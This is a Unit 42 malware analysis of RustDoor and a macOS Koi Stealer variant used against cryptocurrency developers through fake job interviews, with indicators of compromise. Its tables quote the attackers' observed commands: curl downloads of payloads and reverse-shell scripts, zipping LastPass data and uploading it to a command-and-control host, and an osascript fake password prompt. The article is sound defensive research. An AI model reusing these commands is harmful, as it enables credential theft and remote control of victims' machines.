[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# RustDoor and Koi Stealer for macOS Used by North Korea-Linked Threat Actor to Target the Cryptocurrency Sector

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 12 min read  
Related Products  
[![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/product-category/advanced-dns-security/ "Advanced DNS Security")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cloud-Delivered Security Services icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Cloud-Delivered Security Services](https://unit42.paloaltonetworks.com/product-category/cloud-delivered-security-services/ "Cloud-Delivered Security Services")[![Cortex icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex](https://unit42.paloaltonetworks.com/product-category/cortex/ "Cortex")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR")[![Cortex XSIAM icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XSIAM](https://unit42.paloaltonetworks.com/product-category/cortex-xsiam/ "Cortex XSIAM")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall")[![Unit 42 Incident Response icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Unit 42 Incident Response](https://unit42.paloaltonetworks.com/product-category/unit-42-incident-response/ "Unit 42 Incident Response")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Adva Gabay](https://unit42.paloaltonetworks.com/author/adva-gabay/)
  * [Daniel Frank](https://unit42.paloaltonetworks.com/author/daniel-frank/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:February 26, 2025

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/)
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Contagious Interview](https://unit42.paloaltonetworks.com/tag/contagious-interview/)
  * [Cryptocurrency](https://unit42.paloaltonetworks.com/tag/cryptocurrency/)
  * [DPRK](https://unit42.paloaltonetworks.com/tag/dprk/)
  * [Infostealer](https://unit42.paloaltonetworks.com/tag/infostealer/)
  * [MacOS](https://unit42.paloaltonetworks.com/tag/macos/)
  * [Redline infostealer](https://unit42.paloaltonetworks.com/tag/redline-infostealer/)
  * [Rust](https://unit42.paloaltonetworks.com/tag/rust/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=RustDoor%20and%20Koi%20Stealer%20for%20macOS%20Used%20by%20North%20Korea-Linked%20Threat%20Actor%20to%20Target%20the%20Cryptocurrency%20Sector&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F&title=RustDoor%20and%20Koi%20Stealer%20for%20macOS%20Used%20by%20North%20Korea-Linked%20Threat%20Actor%20to%20Target%20the%20Cryptocurrency%20Sector "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F&text=RustDoor%20and%20Koi%20Stealer%20for%20macOS%20Used%20by%20North%20Korea-Linked%20Threat%20Actor%20to%20Target%20the%20Cryptocurrency%20Sector "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=RustDoor%20and%20Koi%20Stealer%20for%20macOS%20Used%20by%20North%20Korea-Linked%20Threat%20Actor%20to%20Target%20the%20Cryptocurrency%20Sector%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmacos-malware-targets-crypto-sector%2F "Share in Mastodon")

## Executive Summary

Malware targeting macOS systems is increasingly pervasive in our current threat landscape. Most of the associated threats are cybercrime-related, ranging from information stealers to cryptocurrency mining. Over the past year, we have witnessed an increase in cybercrime activity linked to North Korean nation-state APT groups.

In line with the [public service announcement](https://www.ic3.gov/PSA/2024/PSA240903) issued by the FBI regarding North Korean social engineering attacks, we have also witnessed several such social engineering attempts, targeting job-seeking software developers in the cryptocurrency sector.

In this campaign, we discovered a Rust-based macOS malware nicknamed [RustDoor](https://www.bleepingcomputer.com/news/security/new-rustdoor-macos-malware-impersonates-visual-studio-update/) masquerading as a legitimate software update, as well as a previously undocumented macOS variant of a malware family known as [Koi Stealer](https://malpedia.caad.fkie.fraunhofer.de/details/win.koistealer). During our investigation, we observed rare evasion techniques, namely, manipulating components of macOS to remain under the radar.

The characteristics of these attackers are similar to various reports during the past year of [North Korean threat actors targeting other job seekers](https://unit42.paloaltonetworks.com/tag/contagious-interview/). We assess with a moderate level of confidence that this attack was carried out on behalf of the North Korean regime.

This article details the activity of attackers within compromised environments. It also provides a technical analysis of the newly discovered Koi Stealer macOS variant and depicts the different stages of the attack through the lens of Cortex XDR.

Palo Alto Networks customers are better protected against the RustDoor and Koi Stealer malware presented in this research through the following products and services:

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) and [XSIAM](https://docs-cortex.paloaltonetworks.com/p/XSIAM)
* [Cloud-Delivered Security Services](https://docs.paloaltonetworks.com/cdss) for the [Next-Generation Firewall](https://docs.paloaltonetworks.com/ngfw), such as [Advanced WildFire](https://docs.paloaltonetworks.com/advanced-wildfire), [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/dns-security) and [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering).

If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html).

| **Related Unit 42 Topics** | [**macOS**](https://unit42.paloaltonetworks.com/tag/macos/), **[Infostealer](https://unit42.paloaltonetworks.com/tag/infostealer/)** , **[Rust](https://unit42.paloaltonetworks.com/tag/rust/)** |
|----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

## The Campaign's Infection Vector

This campaign's infection vector bears similarities to previous research.

We have tracked activity from suspected North Korean threat actors in a campaign we track as CL-STA-240 and call [Contagious Interview](https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/). In this campaign, attackers pose as recruiters or prospective employers and ask potential victims to install malware masquerading as legitimate development software as part of the vetting process. These attacks generally [target job seekers in the tech industry](https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/) and likely occur through email, messaging platforms or other online interview methods. While our research into this current activity reveals similarities with Contagious Interview, we did observe distinct tactics, techniques and procedures (TTPs) that cause us to consider this a separate campaign.

Recent research from [Jamf Threat Labs](https://www.jamf.com/blog/jamf-threat-labs-observes-targeted-attacks-amid-fbi-warnings/) describes a similar attack method, this time using a malicious Visual Studio project challenge named "SlackToCSV" to target job-seeking software developers.

In our research, we found forensic evidence of a similar malicious Visual Studio project in addition to other malicious projects. Moreover, one of the samples of the RustBucket malware named .zsh\_env had the same hash as the ThiefBucket sample noted by Jamf Threat Labs. However, we found different command and control (C2) servers for other samples we encountered during our research.

## Execution and Download of Malware

When examining attacker activity on the infected endpoints, we noticed their persistent nature, as attackers attempted to execute several different malware variants. When these attempts were prevented by Cortex XDR, the attackers tried redeploying and executing additional malware to evade detection. Analyzing one of these attacks, we can divide it into three distinct stages:

* Attempting to execute two RustDoor variants
* Trying an additional RustDoor variant and attempting a reverse shell
* Running a previously undocumented macOS Koi Stealer variant

We describe these phases in the following sections, starting with the initial attempt to execute two RustDoor variants.

### Attempting to Execute Two RustDoor Binaries

Initially, when executing the fake job interview project within Visual Studio, the malicious code attempts to download and execute two separate [Mach-O](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html) binaries of RustDoor. Figure 1 shows the names and locations of these Mach-O files from a Cortex XDR alert blocking the activity.

The paths of the RustDoor files are:

* /Users/$USER$/.zsh\_env
* /Users/$USER$/Library/VisualStudioHelper

![Screenshot of table in Cortex XDR showing columns including Alert Source, Action, Category, Alert name and more.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-305432-138378-1.png) Figure 1. RustDoor malware locations from the Cortex XDR alert blocking the activity.

### An Additional RustDoor Binary and Attempting to Open a Reverse Shell

After the first two RustDoor binaries' executions were prevented, the attackers executed another sample of RustDoor. The malware then attempted to steal sensitive data such as passwords from the LastPass Google Chrome extension, exfiltrate data to its C2 server and download two additional bash scripts. These bash scripts are intended to open a reverse shell connection with the attackers.

Figure 2 shows the different commands executed by this RustDoor binary.
![Screenshot of Cortex XDR. Flowchart diagram showing a malware attack process with nodes labeled from initial access to command execution. Nodes are interlinked, indicating sequence and actions such as "Download the malware - curl 0.h.sh" and "Retrieve reverse shell script."](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-308301-138378-2.png) Figure 2. The execution and commands of the second RustDoor binary.

Table 1 shows the different command lines from Figure 2 and their respective descriptions.

|----------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------|
| **Command Line**                                                                                                                                               | **Description**                                                 |
| curl -O -s hxxps://apple-ads-metric\[.\]com/npm                                                                                                                | Download RustDoor                                               |
| chflags hidden npm                                                                                                                                             | Set RustDoor to be hidden on disk                               |
| chmod +x npm                                                                                                                                                   | Grant RustDoor execution permissions                            |
| log stream --predicate eventMessage contains "com.apple.restartInitiated" or eventMessage contains "com.apple.shutdownInitiated" --info                        | Retrieve information about shutdown and restart events          |
| zsh -c zip -r \[redacted\].zip /Users/$USER$/Library/Application\\ Support/Google/Chrome/Default/Local\\ Extension\\ Settings/aeblfdkhhhdcdjpifhhbdiojplfjncoa | Steal LastPass data from Google Chrome's extension for LastPass |
| zsh -c curl -F file=\[redacted\].zip hxxps://visualstudiomacupdate\[.\]com/tasks/upload\_file                                                                   | Data exfiltration attempt                                       |
| zsh -c curl -O -s hxxps://apple-ads-metric\[.\]com/back.sh                                                                                                     | Reverse shell script No. 1                                      |
| zsh -c curl -O -s hxxps://apple-ads-metric\[.\]com/sh.sh \&\& chmod +x sh.sh                                                                                   | Reverse shell script No. 2 and grant execution permissions      |
| zsh -c mdfind -name .pem                                                                                                                                       | Searching for public keys                                       |

Table 1. The command lines executed by RustDoor and their description.

Figure 3 shows a Cortex XDR alert blocking attempts at reverse shell execution by both shell scripts to a C2 server at 31.41.244\[.\]92 over TCP port 443.
![Screenshot of table in Cortex XDR showing columns including Alert Source, Action, Category, Alert name and more.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-311140-138378-3.png) Figure 3. The two reverse shell execution attempts to 31.41.244\[.\]92 prevented by Cortex XDR.

The IP address (31.41.244\[.\]92) the reverse shell connection attempt was initiated from has a history of malicious use since at least 2022, and it was previously associated with [RedLine Stealer](https://unit42.paloaltonetworks.com/tag/redline-infostealer/).

### Executing a Previously Undocumented macOS Koi Stealer Variant

The attackers downloaded and executed a final payload that we have identified as a previously undocumented variant of Koi Stealer malware. This Koi Stealer sample masqueraded as a VisualStudio update, which prompted the user to install it and grant it Administrator access.

Figure 4 shows the execution process as detected in Cortex XDR.
![Screenshot of Cortex XDR. Flowchart diagram showing a malware attack process with nodes including "download malware" and "reset permissions for Apple Events" and more.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-314074-138378-4.png) Figure 4. macOS Koi Stealer variant download as detected by Cortex XDR.

The different command lines from Figure 2 and their respective descriptions are detailed below in Table 2, excluding commands similar to those described in Table 1.

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------|
| **Command Line**                                                                                                                                                                                                                                            | **Description**                                           |
| sh -c tccutil reset AppleEvents                                                                                                                                                                                                                             | Reset permissions for Apple Events                        |
| sh -c ps aux                                                                                                                                                                                                                                                | List running processes                                    |
| sh -c system\_profiler SPHardwareDataType                                                                                                                                                                                                                    | Retrieve detailed information about the device's hardware |
| sh -c osascript\<\<EOD  display dialog "Visual Studio requires permission to install update. Please enter password for \[redacted\]:" default answer "" with title "Visual Studio" with icon POSIX file "/Users/$USER$/vs.png" with hidden answer EOD | Display a window with a password prompt                   |
| sh -c sw\_vers                                                                                                                                                                                                                                               | Retrieve the macOS software version                       |

Table 2. The command lines executed by Koi Stealer and their description.

## Technical Analysis of the macOS Koi Stealer Variant

The Koi Stealer malware is an infostealer that retrieves sensitive data from compromised devices in two phases and sends it back to the C2 server. Similar to the features of the latest [Windows variant](https://www.secrss.com/articles/73274), the macOS variant is heavily focused on stealing different cryptocurrency wallets. The full list can be found in [Appendix C](#post-138378-_pkcdlxi4y3us).

The section below details key features of the Koi Stealer macOS malware and compares the sample's macOS functionality with its Windows counterpart.

### Main Capabilities

#### Data Collection and Exfiltration

##### Stage 1

Initially, Koi Stealer collects reconnaissance information from the infected machine, such as the hardware [Universally Unique Identifier](https://en.wikipedia.org/wiki/Universally_unique_identifier) (UUID) and information about the current user.

Since this Koi Stealer impersonates Visual Studio, potential victims may be less suspicious when the app requests a root password as shown below in Figure 5. The RustDoor variant operates in a similar way.
![A notification spoofing Visual Studio requiring permission to install an update, asking for the root password with a text entry field, and 'Cancel' and 'OK' buttons.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-316824-138378-5.png) Figure 5. macOS Koi Stealer variant pop-up asking for the root password.

This pop-up asking for the root password remains until the user enters the correct password. After retrieving the user's password and UUID, the malware decodes the C2 URL and forwards these three pieces of information to its main function.

Figure 6 displays decompiled code from the malware. The instructions show these three functions and the URL for sending the stolen data to the malware's C2 server.
![Screenshot of a computer code in an editor with syntax highlighting, featuring functions related to password handling and hardware ID retrieval. Elements include usage of variables, function calls, and a URL within the code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-319775-138378-6.png) Figure 6. Decompiled code from the macOS Koi Stealer variant showing initial activity.

The main function begins by generating two random keys, which the malware uses later to encrypt the data that it will send to the C2 server. The malware then proceeds to build an initial HTTP request that exfiltrates the following information:

* The current user's username and password
* Hostname
* Build information
* Hardware details
* Process list
* Installed applications

##### Stage 2

After the first stage is complete, the malware moves to its second stage of data gathering and exfiltration. During this phase, it copies multiple files of interest from the infected machine, including:

* Browser files (under $HOME/Library/Application Support)
* Filezilla files (recentservers.xml and sitemanager.xml files)
* OpenVPN profile files
* Steam user and configuration files
* Cryptocurrency wallets (under $HOME/Library/Application Support)
* Discord users and configuration files
* Telegram data files
* zsh history
* SSH configuration files (under $HOME/.ssh)
* Keychain files (under $HOME/Library/Keychains)
* Notes (under $HOME/Library/Containers/com.apple.Notes/Data/Library/Notes)
* Safari files (under /Library/Containers/com.apple.Safari/Data/Library/Cookies)

#### Use of AppleScript by the Malware

##### Muting the System to Operate in Maximum Stealth

This malware uses AppleScript to mute the system's volume. It might do this to conceal subsequent commands that copy multiple files, which could create a noticeable notification sound.

After executing the exfiltration commands, the malware restores the audio using the same technique. The malware uses the following AppleScript commands for muting and unmuting the system volume:

* set volume output muted true
* set volume output muted false

##### Collecting Specific Files of Interest

Later in its execution flow, the malware uses AppleScript again for a different purpose, to collect specific files and copy them from multiple locations to a temporary directory. These files are part of stage 2 for stolen information sent to the C2 server.

This time, the malware focuses on all the files located in the user's ~/Desktop and ~/Documents directories, filtered by selected extensions. The attacker likely uses AppleScript in this manner in an attempt to remain undetected.

Figure 7 shows the corresponding code, and the full list of extensions can also be found in [Appendix C](#post-138378-_pkcdlxi4y3us).
![A screenshot displaying lines of programming code in an editor with syntax highlighting.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-322669-138378-7.png) Figure 7. macOS Koi Stealer's code responsible for stealing files with specific extensions.

#### Strings Encryption

Koi Stealer's strings are decrypted at runtime using the same function called numerous times throughout the binary. In this sample, the decryption function iterates through each character in a hard-coded key (xRdEh3f6g1qxTxsCfg1d30W66JuUgQvVti), from index 0 to 33, XORing each character of the key with the corresponding character in the encrypted string.

During our research, we developed a program that implements the same logic, allowing us to decrypt the strings and better understand the malware's functionality. Figure 8 shows decryption function code from the malware. [Appendix C](#post-138378-_pkcdlxi4y3us) lists notable decrypted strings.
![A screenshot of a computer screen displaying a code editor with lines of programming code in functions related to encoding and decoding strings. The text is written in a syntax-highlighted format typical of programming environments.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-325708-138378-8.png) Figure 8. macOS Koi Stealer variant strings decryption routine.

#### Similarities With the Windows Koi Stealer Variant

During our research, we found multiple similarities with a previous sample we have determined to be a Windows variant of Koi Stealer (SHA256: 2b8c057cf071bcd548d23bc7d73b4a90745e3ff22e5cddcc71fa34ecbf76a8b5). In this section we will detail the most notable ones, demonstrating the strong resemblance between the two.

#### HTTP Packet Structure and Sending Memory Streams

In both cases, malware developers used similar string formats for transmitting and receiving requests from the C2 server. However, the hard-coded strings differ between the two variants.

In both variants, the strings are formatted as follows: BASECFG|\<hardware UUID\>|I1StYPe4|{encrypted host information}.

Figures 9 and 10 show the string formats in code from both the macOS and Windows variants.
![Screenshot of code with syntax highlighting. There are five lines total.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-328310-138378-9.png) Figure 9. macOS Koi Stealer variant HTTP request string format. ![Screenshot of code in a HTTP request string format.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-330741-138378-10.png) Figure 10. Windows Koi Stealer variant HTTP request string format.

Moreover, both variants send [memory streams](https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1) of data directly to the C2 server, to avoid saving certain information on disk thus risking detection.

#### Code Flow and Data Theft

When analyzing the code structure and general execution flow in both variants, we noticed multiple similarities. For example, they shared an interest in similar sensitive data and the general code flow that consists of encapsulating each stolen data type in a separate function.

In addition to typical data that infostealers usually steal, both samples also focus on unique paths, such as the configurations for Steam and Discord. Figures 11 and 12 show the code responsible for stealing data in the two variants.
![Screenshot of a computer code snippet in a text editor with dark background. The code includes function calls to retrieve files related to browsers, FileZilla, OpenVPN, Steam, crypto wallets, Discord, Telegram, and ssh zsh history.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-333182-138378-11.png) Figure 11. macOS Koi Stealer variant data theft functions. ![A screenshot of a code snippet showing method calls related to various applications, including Discord, FileZilla, OpenVPN, WinSCP, and Steam.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-335729-138378-12.png) Figure 12. Windows Koi Stealer variant data theft functions.

## Potential Connection to North Korean Affiliated Activity

At the time of writing this article, it remains unclear which of the North Korean APT groups or sub-groups are behind this operation. However, we can link this activity to known North Korean operations, based on the following:

* **Tool set:** The attackers used the [RustDoor backdoor](https://thehackernews.com/2024/02/rustdoor-macos-backdoor-targets.html) that [Sentinel One previously attributed](https://www.sentinelone.com/labs/bluenoroff-hidden-risk-threat-actor-targets-macs-with-fake-crypto-news-and-novel-persistence/) to the North Korean threat actor we track as Alluring Pisces (aka BlueNoroff, Sapphire Sleet). It is unclear however, whether this tool is unique to the group, or whether other North Korean APT groups also use it.
* **Infrastructure:** The domain apple-ads-metric\[.\]com hosts both RustDoor and the macOS variant of Koi Stealer, as noted previously in Table 1 and Figure 4.
* **Victimology:**
  * We observed that the victims were all software developers within the cryptocurrency industry.
  * The targets in this campaign are both aligned with the [public service notice](https://www.ic3.gov/PSA/2024/PSA240903) published by the FBI we mentioned earlier in this article.

Considering all of the above, we assess with a moderate level of confidence that this attack was carried out on behalf of the North Korean regime.

## Conclusion

In this article, we reviewed a campaign we believe is linked to North Korean threat actors. The campaign includes a previously undocumented macOS variant of malware known as Koi Stealer. We analyzed how attackers delivered and used it to try to gather sensitive data and cryptocurrency wallets from compromised endpoints. We reviewed the modus operandi of this campaign and discussed the possible ties this campaign has with North Korean threat actors.

We also detailed the persistent nature of the attackers that deployed different tools, as their previous attempts were detected and prevented by Cortex XDR.

Finally, this campaign highlights the risks organizations worldwide face from elaborate social engineering attacks designed to infiltrate networks and steal sensitive data and cryptocurrencies. These risks are magnified when the perpetrator is a nation-state threat actor, compared to a purely financially motivated cybercriminal.

We encourage organizations to implement a proactive and multilayered approach when facing such threats and invest in social engineering awareness training.

### Protections and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

* [Advanced WildFire](https://docs.paloaltonetworks.com/advanced-wildfire) cloud-delivered malware analysis service accurately identifies the known samples as malicious.
* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) and [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/dns-security) identify domains associated with this group as malicious.
* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) and [XSIAM](https://docs-cortex.paloaltonetworks.com/p/XSIAM) are designed to:
  * Prevent the execution of known and unknown malware using [Behavioral Threat Protection and](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) machine learning based on the Local Analysis module
    * The new macOS Analytics module helps to protect against attacks using macOS malware, including those mentioned in this article
  * Detect user and credential-based threats by analyzing anomalous user activity from multiple data sources
* The new Cortex XDR macOS Analytics module provides enhanced behavioral detection capabilities against complex threats targeting macOS users

If you think you might have been impacted or have an urgent matter, get in touch with the [**Unit 42 Incident Response team**](https://start.paloaltonetworks.com/contact-unit42.html) or call:

* North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
* UK: +44.20.3743.3660
* Europe and Middle East: +31.20.299.3130
* Asia: +65.6983.8730
* Japan: +81.50.1790.0200
* Australia: +61.2.4062.7950
* India: 00080005045107

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [**Cyber Threat Alliance**](https://www.cyberthreatalliance.org/).

## Appendix A

### Detection With the Cortex XDR macOS Analytics Module

The new Cortex XDR macOS Analytics module provides enhanced behavioral detection capabilities against complex threats targeting macOS users. In the incidents described above, several rules were triggered by malicious activity originating from infected endpoints. Figure A1 below depicts alerts that were triggered due to suspicious unauthorized [browser credentials access](https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-Analytics-Alert-Reference-by-data-source/Unusual-process-accessed-web-browser-credentials) and an attempt to open a reverse shell.
![Screenshot of Cortex XDR displaying an alert message from Visual Studio indicating unusual access to web browser credentials.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-338408-138378-13.png) Figure A1. Unusual access to browser credentials alert as seen in Cortex XDR.

## Appendix B

### Indicators of Compromise

#### RustDoor Variants

***.zsh\_env***

* FAT: a900ec81363358ef26bcdf7827f6091af44c3f1001bc8f52b766c9569b56faa5

* x64: baa676b671e771bf04b245e648f49516b338e1f49cbd9b4d237cc36d57ab858d

* arm: 76f96a35b6f638eed779dc127f29a5b537ffc3bb7accc2c9bfab5a2120ea6bc9

#### Malicious Files Impersonating Visual Studio Helper

* FAT: adde2970b40634e91b9ef8520f8e50eaa7901a65f9230e65d7995ac1a47700ef

* x64: c379f4ab29a49d4bccb232c8551d1b8b01e64440ea495bbabef9010a519516c3

* arm: a5b7ddd12539ce3e8c08bed5855ddcea3217d41d7d4c58fcc1a7e01336b38912

#### NPM No. 1

* FAT: b5412375477a180608bf410f5cb36b4a0949bee7663648a06879f42be9a3b6bc

* x64: b5119a49830a2044f406645c261e54ab335c9b1e1ed320df758405a8147fae88

* ARM: 17064520feaf5804aa725e123b24fd0f73f8afc9b7f4361650cd11ddf4ee768f

#### NPM No. 2

* FAT: 8be62324fe5af009c12fb9afc8d4f47d12c98ea680bff490b3f5e0c72c8f9617

* x64: 77361f7ef25a0185636a0fc6deff2e9986720223da9d6b1494f671082105bebb

* ARM: 27fcc3278afbbec44737e9f72666946607fea819f5b1cb9fbbe268037a561f0b

#### Koi Stealer macOS Variant

* FAT: 97abafff549ea21797c135c965c5e4a46a44ec7353b2edd293e8a22d5954b6aa

* x64: c42b103b42d7e9817f93cb66716b7bf2e4fe73a405e0fbbae0806ce8b248a304

* ARM: 8f0e2b8b3e07f5761066cb00bc0db10d68c56ada8c054e9f07990cc1ac5ae962

Malware downloads domain

* hxxps://apple-ads-metric\[.\]com

RustDoor C2 domain

* hxxps://visualstudiomacupdate\[.\]com

macOS Koi Stealer C2 IP address

* 5\.255.101\[.\]148

Reverse shell IP address

* 31\.41.244\[.\]92

Strings encryption key

* xRdEh3f6g1qxTxsCfg1d30W66JuUgQvVti

## Appendix C: Notable Decrypted Strings

### Koi Stealer macOS Variant Targeted Cryptocurrency Wallets List

* Atomic
* BitPay
* Bitcoin
* Blockstream
* Coinomi
* Daedalus
* DashCore
* DigiByte
* Dogecoin
* ElectronCash
* Electrum
* Ethereum
* Exodus
* Guarda
* Jaxx
* Ledger
* Monero
* MyMonero
* Ravecoin

### Koi Stealer macOS Variant File Extensions of Interest

* Asc
* Conf
* Dat
* Doc
* Docx
* Jpg
* Json
* Kdbx
* Key
* Ovpn
* Pdf
* Pem
* Ppk
* Rdp
* Rtf
* Sql
* Txt
* Wallet
* Xls
* Xlsx

### Koi Stealer macOS Variant Targeted Browsers List

* Brave
* Chrome
* Chromium
* CocCoc
* Edge
* Firefox
* Opera
* Opera GX
* Thunderbird (eMail application)
* Vivaldi
* Waterfox

### Koi Stealer macOS Variant Targeted Directories

* ~/Desktop
* ~/Documents
* ~/Library/Containers/com.apple.Notes/Data/Library/Notes
* ~/Library/Keychains
* ~/.config/filezilla
* ~/Library/Application Support/OpenVPN Connect/profiles
* ~/Library/Application Support/Steam/config
* ~/Library/Application Support/discord/Local Storage
* ~/Library/Application Support/Telegram Desktop/tdata

## Additional Resources

* [New macOS Backdoor Written in Rust Shows Possible Link with Windows Ransomware Group](https://www.bitdefender.com/en-us/blog/labs/new-macos-backdoor-written-in-rust-shows-possible-link-with-windows-ransomware-group) -- Bitdefender
